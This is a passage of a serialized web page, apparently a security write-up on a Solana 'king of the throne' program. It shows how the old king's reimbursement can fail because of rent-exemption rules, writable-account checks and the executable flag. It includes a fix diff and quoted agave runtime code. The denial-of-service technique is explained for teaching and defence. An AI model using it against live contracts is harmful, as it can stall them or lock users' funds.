pre_rent_state",{"type":21,"tag":198,"props":73048,"children":73049},{"style":211},[73050],{"type":27,"value":233},{"type":21,"tag":198,"props":73052,"children":73053},{"class":200,"line":365},[73054,73059,73063,73067,73071,73075,73079,73083,73087,73091],{"type":21,"tag":198,"props":73055,"children":73056},{"style":1966},[73057],{"type":27,"value":73058}," RentState",{"type":21,"tag":198,"props":73060,"children":73061},{"style":683},[73062],{"type":27,"value":4286},{"type":21,"tag":198,"props":73064,"children":73065},{"style":1966},[73066],{"type":27,"value":72743},{"type":21,"tag":198,"props":73068,"children":73069},{"style":683},[73070],{"type":27,"value":5081},{"type":21,"tag":198,"props":73072,"children":73073},{"style":1966},[73074],{"type":27,"value":72935},{"type":21,"tag":198,"props":73076,"children":73077},{"style":683},[73078],{"type":27,"value":4286},{"type":21,"tag":198,"props":73080,"children":73081},{"style":1966},[73082],{"type":27,"value":72944},{"type":21,"tag":198,"props":73084,"children":73085},{"style":683},[73086],{"type":27,"value":838},{"type":21,"tag":198,"props":73088,"children":73089},{"style":249},[73090],{"type":27,"value":9868},{"type":21,"tag":198,"props":73092,"children":73093},{"style":211},[73094],{"type":27,"value":257},{"type":21,"tag":198,"props":73096,"children":73097},{"class":200,"line":386},[73098,73102,73106,73110],{"type":21,"tag":198,"props":73099,"children":73100},{"style":1966},[73101],{"type":27,"value":73058},{"type":21,"tag":198,"props":73103,"children":73104},{"style":683},[73105],{"type":27,"value":4286},{"type":21,"tag":198,"props":73107,"children":73108},{"style":1966},[73109],{"type":27,"value":72972},{"type":21,"tag":198,"props":73111,"children":73112},{"style":211},[73113],{"type":27,"value":233},{"type":21,"tag":198,"props":73115,"children":73116},{"class":200,"line":408},[73117,73122,73126,73131],{"type":21,"tag":198,"props":73118,"children":73119},{"style":226},[73120],{"type":27,"value":73121}," data_size",{"type":21,"tag":198,"props":73123,"children":73124},{"style":683},[73125],{"type":27,"value":185},{"type":21,"tag":198,"props":73127,"children":73128},{"style":226},[73129],{"type":27,"value":73130}," pre_data_size",{"type":21,"tag":198,"props":73132,"children":73133},{"style":211},[73134],{"type":27,"value":257},{"type":21,"tag":198,"props":73136,"children":73137},{"class":200,"line":429},[73138,73143,73147,73152],{"type":21,"tag":198,"props":73139,"children":73140},{"style":226},[73141],{"type":27,"value":73142}," lamports",{"type":21,"tag":198,"props":73144,"children":73145},{"style":683},[73146],{"type":27,"value":185},{"type":21,"tag":198,"props":73148,"children":73149},{"style":226},[73150],{"type":27,"value":73151}," pre_lamports",{"type":21,"tag":198,"props":73153,"children":73154},{"style":211},[73155],{"type":27,"value":257},{"type":21,"tag":198,"props":73157,"children":73158},{"class":200,"line":450},[73159,73164,73168],{"type":21,"tag":198,"props":73160,"children":73161},{"style":211},[73162],{"type":27,"value":73163}," } ",{"type":21,"tag":198,"props":73165,"children":73166},{"style":683},[73167],{"type":27,"value":15626},{"type":21,"tag":198,"props":73169,"children":73170},{"style":211},[73171],{"type":27,"value":233},{"type":21,"tag":198,"props":73173,"children":73174},{"class":200,"line":468},[73175],{"type":21,"tag":198,"props":73176,"children":73177},{"style":1233},[73178],{"type":27,"value":73179}," // Cannot remain RentPaying if resized or credited.\n",{"type":21,"tag":198,"props":73181,"children":73182},{"class":200,"line":477},[73183,73188,73192,73196,73200,73204,73208],{"type":21,"tag":198,"props":73184,"children":73185},{"style":226},[73186],{"type":27,"value":73187}," post_data_size",{"type":21,"tag":198,"props":73189,"children":73190},{"style":683},[73191],{"type":27,"value":4089},{"type":21,"tag":198,"props":73193,"children":73194},{"style":226},[73195],{"type":27,"value":73130},{"type":21,"tag":198,"props":73197,"children":73198},{"style":683},[73199],{"type":27,"value":1819},{"type":21,"tag":198,"props":73201,"children":73202},{"style":226},[73203],{"type":27,"value":73014},{"type":21,"tag":198,"props":73205,"children":73206},{"style":683},[73207],{"type":27,"value":9007},{"type":21,"tag":198,"props":73209,"children":73210},{"style":226},[73211],{"type":27,"value":73212}," pre_lamports\n",{"type":21,"tag":198,"props":73214,"children":73215},{"class":200,"line":494},[73216],{"type":21,"tag":198,"props":73217,"children":73218},{"style":211},[73219],{"type":27,"value":71443},{"type":21,"tag":198,"props":73221,"children":73222},{"class":200,"line":515},[73223],{"type":21,"tag":198,"props":73224,"children":73225},{"style":211},[73226],{"type":27,"value":71451},{"type":21,"tag":198,"props":73228,"children":73229},{"class":200,"line":4484},[73230],{"type":21,"tag":198,"props":73231,"children":73232},{"style":211},[73233],{"type":27,"value":59262},{"type":21,"tag":198,"props":73235,"children":73236},{"class":200,"line":4493},[73237],{"type":21,"tag":198,"props":73238,"children":73239},{"style":211},[73240],{"type":27,"value":1160},{"type":21,"tag":198,"props":73242,"children":73243},{"class":200,"line":4561},[73244],{"type":21,"tag":198,"props":73245,"children":73246},{"style":211},[73247],{"type":27,"value":880},{"type":21,"tag":30,"props":73249,"children":73250},{},[73251],{"type":27,"value":73252},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":21,"tag":187,"props":73254,"children":73256},{"className":5055,"code":73255,"language":5054,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[73257],{"type":21,"tag":194,"props":73258,"children":73259},{"__ignoreMap":7},[73260,73276],{"type":21,"tag":198,"props":73261,"children":73262},{"class":200,"line":201},[73263,73267,73272],{"type":21,"tag":198,"props":73264,"children":73265},{"style":698},[73266],{"type":27,"value":3688},{"type":21,"tag":198,"props":73268,"children":73269},{"style":205},[73270],{"type":27,"value":73271}," rent",{"type":21,"tag":198,"props":73273,"children":73274},{"style":2540},[73275],{"type":27,"value":25083},{"type":21,"tag":198,"props":73277,"children":73278},{"class":200,"line":217},[73279,73284,73289,73294],{"type":21,"tag":198,"props":73280,"children":73281},{"style":698},[73282],{"type":27,"value":73283},"Rent-exempt",{"type":21,"tag":198,"props":73285,"children":73286},{"style":205},[73287],{"type":27,"value":73288}," minimum:",{"type":21,"tag":198,"props":73290,"children":73291},{"style":2540},[73292],{"type":27,"value":73293}," 0.00089088",{"type":21,"tag":198,"props":73295,"children":73296},{"style":205},[73297],{"type":27,"value":73298}," SOL\n",{"type":21,"tag":162,"props":73300,"children":73302},{"id":73301},"fix-1-only-reimburse-if-rent-exempt",[73303],{"type":27,"value":73304},"Fix 1: Only Reimburse if Rent-Exempt",{"type":21,"tag":30,"props":73306,"children":73307},{},[73308],{"type":27,"value":73309},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":21,"tag":187,"props":73311,"children":73313},{"className":2528,"code":73312,"language":2530,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n+}\n",[73314],{"type":21,"tag":194,"props":73315,"children":73316},{"__ignoreMap":7},[73317,73325,73333,73341,73349,73357,73365,73373,73381,73389],{"type":21,"tag":198,"props":73318,"children":73319},{"class":200,"line":201},[73320],{"type":21,"tag":198,"props":73321,"children":73322},{"style":211},[73323],{"type":27,"value":73324},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":21,"tag":198,"props":73326,"children":73327},{"class":200,"line":217},[73328],{"type":21,"tag":198,"props":73329,"children":73330},{"style":2540},[73331],{"type":27,"value":73332},"+let rent = Rent::get()?;\n",{"type":21,"tag":198,"props":73334,"children":73335},{"class":200,"line":236},[73336],{"type":21,"tag":198,"props":73337,"children":73338},{"style":2540},[73339],{"type":27,"value":73340},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":21,"tag":198,"props":73342,"children":73343},{"class":200,"line":260},[73344],{"type":21,"tag":198,"props":73345,"children":73346},{"style":2540},[73347],{"type":27,"value":73348},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":21,"tag":198,"props":73350,"children":73351},{"class":200,"line":281},[73352],{"type":21,"tag":198,"props":73353,"children":73354},{"style":211},[73355],{"type":27,"value":73356}," transfer_from_pda(\n",{"type":21,"tag":198,"props":73358,"children":73359},{"class":200,"line":302},[73360],{"type":21,"tag":198,"props":73361,"children":73362},{"style":211},[73363],{"type":27,"value":73364}," &ctx.accounts.throne.to_account_info(),\n",{"type":21,"tag":198,"props":73366,"children":73367},{"class":200,"line":323},[73368],{"type":21,"tag":198,"props":73369,"children":73370},{"style":211},[73371],{"type":27,"value":73372}," &ctx.accounts.old_king,\n",{"type":21,"tag":198,"props":73374,"children":73375},{"class":200,"line":344},[73376],{"type":21,"tag":198,"props":73377,"children":73378},{"style":211},[73379],{"type":27,"value":73380}," to_reimburse,\n",{"type":21,"tag":198,"props":73382,"children":73383},{"class":200,"line":365},[73384],{"type":21,"tag":198,"props":73385,"children":73386},{"style":211},[73387],{"type":27,"value":73388}," )?;\n",{"type":21,"tag":198,"props":73390,"children":73391},{"class":200,"line":386},[73392],{"type":21,"tag":198,"props":73393,"children":73394},{"style":2540},[73395],{"type":27,"value":73396},"+}\n",{"type":21,"tag":30,"props":73398,"children":73399},{},[73400],{"type":27,"value":73401},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":21,"tag":59,"props":73403,"children":73405},{"id":73404},"bug-2-writable-but-untouchable-set_lamports-fails",[73406,73408,73414],{"type":27,"value":73407},"Bug 2: Writable but Untouchable — ",{"type":21,"tag":194,"props":73409,"children":73411},{"className":73410},[],[73412],{"type":27,"value":73413},"set_lamports",{"type":27,"value":73415}," Fails",{"type":21,"tag":30,"props":73417,"children":73418},{},[73419,73421,73428],{"type":27,"value":73420},"Let's look at ",{"type":21,"tag":34,"props":73422,"children":73425},{"href":73423,"rel":73424},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[38],[73426],{"type":27,"value":73427},"BorrowedAccount::set_lamports",{"type":27,"value":658},{"type":21,"tag":187,"props":73430,"children":73432},{"className":3789,"code":73431,"language":3788,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n // An account not owned by the program cannot have its balance decrease\n if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n return Err(InstructionError::ExternalAccountLamportSpend);\n }\n // The balance of read-only may not change\n if !self.is_writable() {\n return Err(InstructionError::ReadonlyLamportChange);\n }\n // The balance of executable accounts may not change\n if self.is_executable_internal() {\n return Err(InstructionError::ExecutableLamportChange);\n }\n // don't touch the account if the lamports do not change\n if self.get_lamports() == lamports {\n return Ok(());\n }\n self.touch()?;\n self.account.set_lamports(lamports);\n Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n !self\n .transaction_context\n .remove_accounts_executable_flag_checks\n && self.account.executable()\n}\n\n",[73433],{"type":21,"tag":194,"props":73434,"children":73435},{"__ignoreMap":7},[73436,73444,73465,73537,73545,73604,73636,73643,73651,73679,73711,73718,73726,73750,73782,73789,73797,73832,73848,73855,73883,73918,73929,73936,73943,73951,73970,73978,74018,74030,74042,74054,74085],{"type":21,"tag":198,"props":73437,"children":73438},{"class":200,"line":201},[73439],{"type":21,"tag":198,"props":73440,"children":73441},{"style":1233},[73442],{"type":27,"value":73443},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":21,"tag":198,"props":73445,"children":73446},{"class":200,"line":217},[73447,73452,73456,73461],{"type":21,"tag":198,"props":73448,"children":73449},{"style":211},[73450],{"type":27,"value":73451},"#[cfg(not(target_os ",{"type":21,"tag":198,"props":73453,"children":73454},{"style":683},[73455],{"type":27,"value":3174},{"type":21,"tag":198,"props":73457,"children":73458},{"style":205},[73459],{"type":27,"value":73460}," \"solana\"",{"type":21,"tag":198,"props":73462,"children":73463},{"style":211},[73464],{"type":27,"value":21403},{"type":21,"tag":198,"props":73466,"children":73467},{"class":200,"line":236},[73468,73472,73476,73481,73485,73489,73493,73497,73501,73505,73509,73513,73517,73521,73525,73529,73533],{"type":21,"tag":198,"props":73469,"children":73470},{"style":249},[73471],{"type":27,"value":14497},{"type":21,"tag":198,"props":73473,"children":73474},{"style":249},[73475],{"type":27,"value":14502},{"type":21,"tag":198,"props":73477,"children":73478},{"style":698},[73479],{"type":27,"value":73480}," set_lamports",{"type":21,"tag":198,"props":73482,"children":73483},{"style":211},[73484],{"type":27,"value":706},{"type":21,"tag":198,"props":73486,"children":73487},{"style":683},[73488],{"type":27,"value":3917},{"type":21,"tag":198,"props":73490,"children":73491},{"style":249},[73492],{"type":27,"value":4530},{"type":21,"tag":198,"props":73494,"children":73495},{"style":249},[73496],{"type":27,"value":14604},{"type":21,"tag":198,"props":73498,"children":73499},{"style":211},[73500],{"type":27,"value":828},{"type":21,"tag":198,"props":73502,"children":73503},{"style":226},[73504],{"type":27,"value":16314},{"type":21,"tag":198,"props":73506,"children":73507},{"style":683},[73508],{"type":27,"value":185},{"type":21,"tag":198,"props":73510,"children":73511},{"style":1966},[73512],{"type":27,"value":6673},{"type":21,"tag":198,"props":73514,"children":73515},{"style":211},[73516],{"type":27,"value":1541},{"type":21,"tag":198,"props":73518,"children":73519},{"style":683},[73520],{"type":27,"value":14564},{"type":21,"tag":198,"props":73522,"children":73523},{"style":1966},[73524],{"type":27,"value":14569},{"type":21,"tag":198,"props":73526,"children":73527},{"style":211},[73528],{"type":27,"value":14574},{"type":21,"tag":198,"props":73530,"children":73531},{"style":1966},[73532],{"type":27,"value":16561},{"type":21,"tag":198,"props":73534,"children":73535},{"style":211},[73536],{"type":27,"value":8093},{"type":21,"tag":198,"props":73538,"children":73539},{"class":200,"line":260},[73540],{"type":21,"tag":198,"props":73541,"children":73542},{"style":1233},[73543],{"type":27,"value":73544}," // An account not owned by the program cannot have its balance decrease\n",{"type":21,"tag":198,"props":73546,"children":73547},{"class":200,"line":281},[73548,73552,73556,73560,73564,73569,73573,73578,73583,73587,73591,73595,73600],{"type":21,"tag":198,"props":73549,"children":73550},{"style":640},[73551],{"type":27,"value":643},{"type":21,"tag":198,"props":73553,"children":73554},{"style":683},[73555],{"type":27,"value":13670},{"type":21,"tag":198,"props":73557,"children":73558},{"style":249},[73559],{"type":27,"value":14520},{"type":21,"tag":198,"props":73561,"children":73562},{"style":683},[73563],{"type":27,"value":658},{"type":21,"tag":198,"props":73565,"children":73566},{"style":698},[73567],{"type":27,"value":73568},"is_owned_by_current_program",{"type":21,"tag":198,"props":73570,"children":73571},{"style":211},[73572],{"type":27,"value":14850},{"type":21,"tag":198,"props":73574,"children":73575},{"style":683},[73576],{"type":27,"value":73577},"&&",{"type":21,"tag":198,"props":73579,"children":73580},{"style":226},[73581],{"type":27,"value":73582}," lamports",{"type":21,"tag":198,"props":73584,"children":73585},{"style":683},[73586],{"type":27,"value":9529},{"type":21,"tag":198,"props":73588,"children":73589},{"style":249},[73590],{"type":27,"value":14604},{"type":21,"tag":198,"props":73592,"children":73593},{"style":683},[73594],{"type":27,"value":658},{"type":21,"tag":198,"props":73596,"children":73597},{"style":698},[73598],{"type":27,"value":73599},"get_lamports",{"type":21,"tag":198,"props":73601,"children":73602},{"style":211},[73603],{"type":27,"value":16539},{"type":21,"tag":198,"props":73605,"children":73606},{"class":200,"line":302},[73607,73611,73615,73619,73623,73627,73632],{"type":21,"tag":198,"props":73608,"children":73609},{"style":640},[73610],{"type":27,"value":16547},{"type":21,"tag":198,"props":73612,"children":73613},{"style":1966},[73614],{"type":27,"value":16552},{"type":21,"tag":198,"props":73616,"children":73617},{"style":211},[73618],{"type":27,"value":706},{"type":21,"tag":198,"props":73620,"children":73621},{"style":1966},[73622],{"type":27,"value":16561},{"type":21,"tag":198,"props":73624,"children":73625},{"style":683},[73626],{"type":27,"value":4286},{"type":21,"tag":198,"props":73628,"children":73629},{"style":1966},[73630],{"type":27,"value":73631},"ExternalAccountLamportSpend",{"type":21,"tag":198,"props":73633,"children":73634},{"style":211},[73635],{"type":27,"value":1470},{"type":21,"tag":198,"props":73637,"children":73638},{"class":200,"line":323},[73639],{"type":21,"tag":198,"props":73640,"children":73641},{"style":211},[73642],{"type":27,"value":880},{"type":21,"tag":198,"props":73644,"children":73645},{"class":200,"line":344},[73646],{"type":21,"tag":198,"props":73647,"children":73648},{"style":1233},[73649],{"type":27,"value":73650}," // The balance of read-only may not change\n",{"type":21,"tag":198,"props":73652,"children":73653},{"class":200,"line":365},[73654,73658,73662,73666,73670,73675],{"type":21,"tag":198,"props":73655,"children":73656},{"style":640},[73657],{"type":27,"value":643},{"type":21,"tag":198,"props":73659,"children":73660},{"style":683},[73661],{"type":27,"value":13670},{"type":21,"tag":198,"props":73663,"children":73664},{"style":249},[73665],{"type":27,"value":14520},{"type":21,"tag":198,"props":73667,"children":73668},{"style":683},[73669],{"type":27,"value":658},{"type":21,"tag":198,"props":73671,"children":73672},{"style":698},[73673],{"type":27,"value":73674},"is_writable",{"type":21,"tag":198,"props":73676,"children":73677},{"style":211},[73678],{"type":27,"value":16539},{"type":21,"tag":198,"props":73680,"children":73681},{"class":200,"line":386},[73682,73686,73690,73694,73698,73702,73707],{"type":21,"tag":198,"props":73683,"children":73684},{"style":640},[73685],{"type":27,"value":16547},{"type":21,"tag":198,"props":73687,"children":73688},{"style":1966},[73689],{"type":27,"value":16552},{"type":21,"tag":198,"props":73691,"children":73692},{"style":211},[73693],{"type":27,"value":706},{"type":21,"tag":198,"props":73695,"children":73696},{"style":1966},[73697],{"type":27,"value":16561},{"type":21,"tag":198,"props":73699,"children":73700},{"style":683},[73701],{"type":27,"value":4286},{"type":21,"tag":198,"props":73703,"children":73704},{"style":1966},[73705],{"type":27,"value":73706},"ReadonlyLamportChange",{"type":21,"tag":198,"props":73708,"children":73709},{"style":211},[73710],{"type":27,"value":1470},{"type":21,"tag":198,"props":73712,"children":73713},{"class":200,"line":408},[73714],{"type":21,"tag":198,"props":73715,"children":73716},{"style":211},[73717],{"type":27,"value":880},{"type":21,"tag":198,"props":73719,"children":73720},{"class":200,"line":429},[73721],{"type":21,"tag":198,"props":73722,"children":73723},{"style":1233},[73724],{"type":27,"value":73725}," // The balance of executable accounts may not change\n",{"type":21,"tag":198,"props":73727,"children":73728},{"class":200,"line":450},[73729,73733,73737,73741,73746],{"type":21,"tag":198,"props":73730,"children":73731},{"style":640},[73732],{"type":27,"value":643},{"type":21,"tag":198,"props":73734,"children":73735},{"style":249},[73736],{"type":27,"value":14604},{"type":21,"tag":198,"props":73738,"children":73739},{"style":683},[73740],{"type":27,"value":658},{"type":21,"tag":198,"props":73742,"children":73743},{"style":698},[73744],{"type":27,"value":73745},"is_executable_internal",{"type":21,"tag":198,"props":73747,"children":73748},{"style":211},[73749],{"type":27,"value":16539},{"type":21,"tag":198,"props":73751,"children":73752},{"class":200,"line":468},[73753,73757,73761,73765,73769,73773,73778],{"type":21,"tag":198,"props":73754,"children":73755},{"style":640},[73756],{"type":27,"value":16547},{"type":21,"tag":198,"props":73758,"children":73759},{"style":1966},[73760],{"type":27,"value":16552},{"type":21,"tag":198,"props":73762,"children":73763},{"style":211},[73764],{"type":27,"value":706},{"type":21,"tag":198,"props":73766,"children":73767},{"style":1966},[73768],{"type":27,"value":16561},{"type":21,"tag":198,"props":73770,"children":73771},{"style":683},[73772],{"type":27,"value":4286},{"type":21,"tag":198,"props":73774,"children":73775},{"style":1966},[73776],{"type":27,"value":73777},"ExecutableLamportChange",{"type":21,"tag":198,"props":73779,"children":73780},{"style":211},[73781],{"type":27,"value":1470},{"type":21,"tag":198,"props":73783,"children":73784},{"class":200,"line":477},[73785],{"type":21,"tag":198,"props":73786,"children":73787},{"style":211},[73788],{"type":27,"value":880},{"type":21,"tag":198,"props":73790,"children":73791},{"class":200,"line":494},[73792],{"type":21,"tag":198,"props":73793,"children":73794},{"style":1233},[73795],{"type":27,"value":73796}," // don't touch the account if the lamports do not change\n",{"type":21,"tag":198,"props":73798,"children":73799},{"class":200,"line":515},[73800,73804,73808,73812,73816,73820,73824,73828],{"type":21,"tag":198,"props":73801,"children":73802},{"style":640},[73803],{"type":27,"value":643},{"type":21,"tag":198,"props":73805,"children":73806},{"style":249},[73807],{"type":27,"value":14604},{"type":21,"tag":198,"props":73809,"children":73810},{"style":683},[73811],{"type":27,"value":658},{"type":21,"tag":198,"props":73813,"children":73814},{"style":698},[73815],{"type":27,"value":73599},{"type":21,"tag":198,"props":73817,"children":73818},{"style":211},[73819],{"type":27,"value":14850},{"type":21,"tag":198,"props":73821,"children":73822},{"style":683},[73823],{"type":27,"value":9386},{"type":21,"tag":198,"props":73825,"children":73826},{"style":226},[73827],{"type":27,"value":73582},{"type":21,"tag":198,"props":73829,"children":73830},{"style":211},[73831],{"type":27,"value":233},{"type":21,"tag":198,"props":73833,"children":73834},{"class":200,"line":4484},[73835,73839,73843],{"type":21,"tag":198,"props":73836,"children":73837},{"style":640},[73838],{"type":27,"value":16547},{"type":21,"tag":198,"props":73840,"children":73841},{"style":1966},[73842],{"type":27,"value":43691},{"type":21,"tag":198,"props":73844,"children":73845},{"style":211},[73846],{"type":27,"value":73847},"(());\n",{"type":21,"tag":198,"props":73849,"children":73850},{"class":200,"line":4493},[73851],{"type":21,"tag":198,"props":73852,"children":73853},{"style":211},[73854],{"type":27,"value":880},{"type":21,"tag":198,"props":73856,"children":73857},{"class":200,"line":4561},[73858,73862,73866,73871,73875,73879],{"type":21,"tag":198,"props":73859,"children":73860},{"style":249},[73861],{"type":27,"value":21579},{"type":21,"tag":198,"props":73863,"children":73864},{"style":683},[73865],{"type":27,"value":658},{"type":21,"tag":198,"props":73867,"children":73868},{"style":698},[73869],{"type":27,"value":73870},"touch",{"type":21,"tag":198,"props":73872,"children":73873},{"style":211},[73874],{"type":27,"value":14686},{"type":21,"tag":198,"props":73876,"children":73877},{"style":683},[73878],{"type":27,"value":2156},{"type":21,"tag":198,"props":73880,"children":73881},{"style":211},[73882],{"type":27,"value":1483},{"type":21,"tag":198,"props":73884,"children":73885},{"class":200,"line":4569},[73886,73890,73894,73898,73902,73906,73910,73914],{"type":21,"tag":198,"props":73887,"children":73888},{"style":249},[73889],{"type":27,"value":21579},{"type":21,"tag":198,"props":73891,"children":73892},{"style":683},[73893],{"type":27,"value":658},{"type":21,"tag":198,"props":73895,"children":73896},{"style":211},[73897],{"type":27,"value":13759},{"type":21,"tag":198,"props":73899,"children":73900},{"style":683},[73901],{"type":27,"value":658},{"type":21,"tag":198,"props":73903,"children":73904},{"style":698},[73905],{"type":27,"value":73413},{"type":21,"tag":198,"props":73907,"children":73908},{"style":211},[73909],{"type":27,"value":706},{"type":21,"tag":198,"props":73911,"children":73912},{"style":226},[73913],{"type":27,"value":16314},{"type":21,"tag":198,"props":73915,"children":73916},{"style":211},[73917],{"type":27,"value":1470},{"type":21,"tag":198,"props":73919,"children":73920},{"class":200,"line":4599},[73921,73925],{"type":21,"tag":198,"props":73922,"children":73923},{"style":1966},[73924],{"type":27,"value":15138},{"type":21,"tag":198,"props":73926,"children":73927},{"style":211},[73928],{"type":27,"value":15143},{"type":21,"tag":198,"props":73930,"children":73931},{"class":200,"line":4607},[73932],{"type":21,"tag":198,"props":73933,"children":73934},{"style":211},[73935],{"type":27,"value":1120},{"type":21,"tag":198,"props":73937,"children":73938},{"class":200,"line":4638},[73939],{"type":21,"tag":198,"props":73940,"children":73941},{"emptyLinePlaceholder":16},[73942],{"type":27,"value":1283},{"type":21,"tag":198,"props":73944,"children":73945},{"class":200,"line":4646},[73946],{"type":21,"tag":198,"props":73947,"children":73948},{"style":1233},[73949],{"type":27,"value":73950},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":21,"tag":198,"props":73952,"children":73953},{"class":200,"line":4706},[73954,73958,73962,73966],{"type":21,"tag":198,"props":73955,"children":73956},{"style":211},[73957],{"type":27,"value":73451},{"type":21,"tag":198,"props":73959,"children":73960},{"style":683},[73961],{"type":27,"value":3174},{"type":21,"tag":198,"props":73963,"children":73964},{"style":205},[73965],{"type":27,"value":73460},{"type":21,"tag":198,"props":73967,"children":73968},{"style":211},[73969],{"type":27,"value":21403},{"type":21,"tag":198,"props":73971,"children":73972},{"class":200,"line":9857},[73973],{"type":21,"tag":198,"props":73974,"children":73975},{"style":211},[73976],{"type":27,"value":73977},"#[inline]\n",{"type":21,"tag":198,"props":73979,"children":73980},{"class":200,"line":9875},[73981,73985,73990,73994,73998,74002,74006,74010,74014],{"type":21,"tag":198,"props":73982,"children":73983},{"style":249},[73984],{"type":27,"value":21061},{"type":21,"tag":198,"props":73986,"children":73987},{"style":698},[73988],{"type":27,"value":73989}," is_executable_internal",{"type":21,"tag":198,"props":73991,"children":73992},{"style":211},[73993],{"type":27,"value":706},{"type":21,"tag":198,"props":73995,"children":73996},{"style":683},[73997],{"type":27,"value":3917},{"type":21,"tag":198,"props":73999,"children":74000},{"style":249},[74001],{"type":27,"value":14520},{"type":21,"tag":198,"props":74003,"children":74004},{"style":211},[74005],{"type":27,"value":1541},{"type":21,"tag":198,"props":74007,"children":74008},{"style":683},[74009],{"type":27,"value":14564},{"type":21,"tag":198,"props":74011,"children":74012},{"style":1966},[74013],{"type":27,"value":12860},{"type":21,"tag":198,"props":74015,"children":74016},{"style":211},[74017],{"type":27,"value":233},{"type":21,"tag":198,"props":74019,"children":74020},{"class":200,"line":9920},[74021,74025],{"type":21,"tag":198,"props":74022,"children":74023},{"style":683},[74024],{"type":27,"value":21763},{"type":21,"tag":198,"props":74026,"children":74027},{"style":249},[74028],{"type":27,"value":74029},"self\n",{"type":21,"tag":198,"props":74031,"children":74032},{"class":200,"line":10026},[74033,74037],{"type":21,"tag":198,"props":74034,"children":74035},{"style":683},[74036],{"type":27,"value":68639},{"type":21,"tag":198,"props":74038,"children":74039},{"style":211},[74040],{"type":27,"value":74041},"transaction_context\n",{"type":21,"tag":198,"props":74043,"children":74044},{"class":200,"line":24302},[74045,74049],{"type":21,"tag":198,"props":74046,"children":74047},{"style":683},[74048],{"type":27,"value":68639},{"type":21,"tag":198,"props":74050,"children":74051},{"style":211},[74052],{"type":27,"value":74053},"remove_accounts_executable_flag_checks\n",{"type":21,"tag":198,"props":74055,"children":74056},{"class":200,"line":24337},[74057,74061,74065,74069,74073,74077,74081],{"type":21,"tag":198,"props":74058,"children":74059},{"style":683},[74060],{"type":27,"value":43555},{"type":21,"tag":198,"props":74062,"children":74063},{"style":249},[74064],{"type":27,"value":14604},{"type":21,"tag":198,"props":74066,"children":74067},{"style":683},[74068],{"type":27,"value":658},{"type":21,"tag":198,"props":74070,"children":74071},{"style":211},[74072],{"type":27,"value":13759},{"type":21,"tag":198,"props":74074,"children":74075},{"style":683},[74076],{"type":27,"value":658},{"type":21,"tag":198,"props":74078,"children":74079},{"style":698},[74080],{"type":27,"value":16458},{"type":21,"tag":198,"props":74082,"children":74083},{"style":211},[74084],{"type":27,"value":1837},{"type":21,"tag":198,"props":74086,"children":74087},{"class":200,"line":24345},[74088],{"type":21,"tag":198,"props":74089,"children":74090},{"style":211},[74091],{"type":27,"value":1120},{"type":21,"tag":30,"props":74093,"children":74094},{},[74095],{"type":27,"value":74096},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":21,"tag":30,"props":74098,"children":74099},{},[74100,74102,74107],{"type":27,"value":74101},"Specifically, ",{"type":21,"tag":6137,"props":74103,"children":74104},{},[74105],{"type":27,"value":74106},"executable accounts",{"type":27,"value":74108}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":21,"tag":162,"props":74110,"children":74112},{"id":74111},"sidebar-whats-the-executable-flag-anyway",[74113],{"type":27,"value":74114},"Sidebar: What's the executable Flag Anyway?",{"type":21,"tag":30,"props":74116,"children":74117},{},[74118,74119,74124],{"type":27,"value":534},{"type":21,"tag":194,"props":74120,"children":74122},{"className":74121},[],[74123],{"type":27,"value":16458},{"type":27,"value":74125}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":21,"tag":30,"props":74127,"children":74128},{},[74129,74131,74136],{"type":27,"value":74130},"This behavior became problematic with the introduction of the ",{"type":21,"tag":6137,"props":74132,"children":74133},{},[74134],{"type":27,"value":74135},"Upgradeable BPF Loader",{"type":27,"value":74137},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":21,"tag":187,"props":74139,"children":74141},{"className":3789,"code":74140,"language":3788,"meta":7,"style":7},"Program {\n /// Address of the ProgramData account.\n programdata_address: Pubkey,\n},\nProgramData {\n /// Slot that the program was last modified.\n slot: u64,\n /// Address of the Program's upgrade authority.\n upgrade_authority_address: Option\u003CPubkey>,\n // The raw program data follows this serialized structure in the\n // account's data.\n},\n",[74142],{"type":21,"tag":194,"props":74143,"children":74144},{"__ignoreMap":7},[74145,74157,74165,74185,74193,74205,74213,74233,74241,74269,74277,74285],{"type":21,"tag":198,"props":74146,"children":74147},{"class":200,"line":201},[74148,74153],{"type":21,"tag":198,"props":74149,"children":74150},{"style":1966},[74151],{"type":27,"value":74152},"Program",{"type":21,"tag":198,"props":74154,"children":74155},{"style":211},[74156],{"type":27,"value":233},{"type":21,"tag":198,"props":74158,"children":74159},{"class":200,"line":217},[74160],{"type":21,"tag":198,"props":74161,"children":74162},{"style":1233},[74163],{"type":27,"value":74164}," /// Address of the 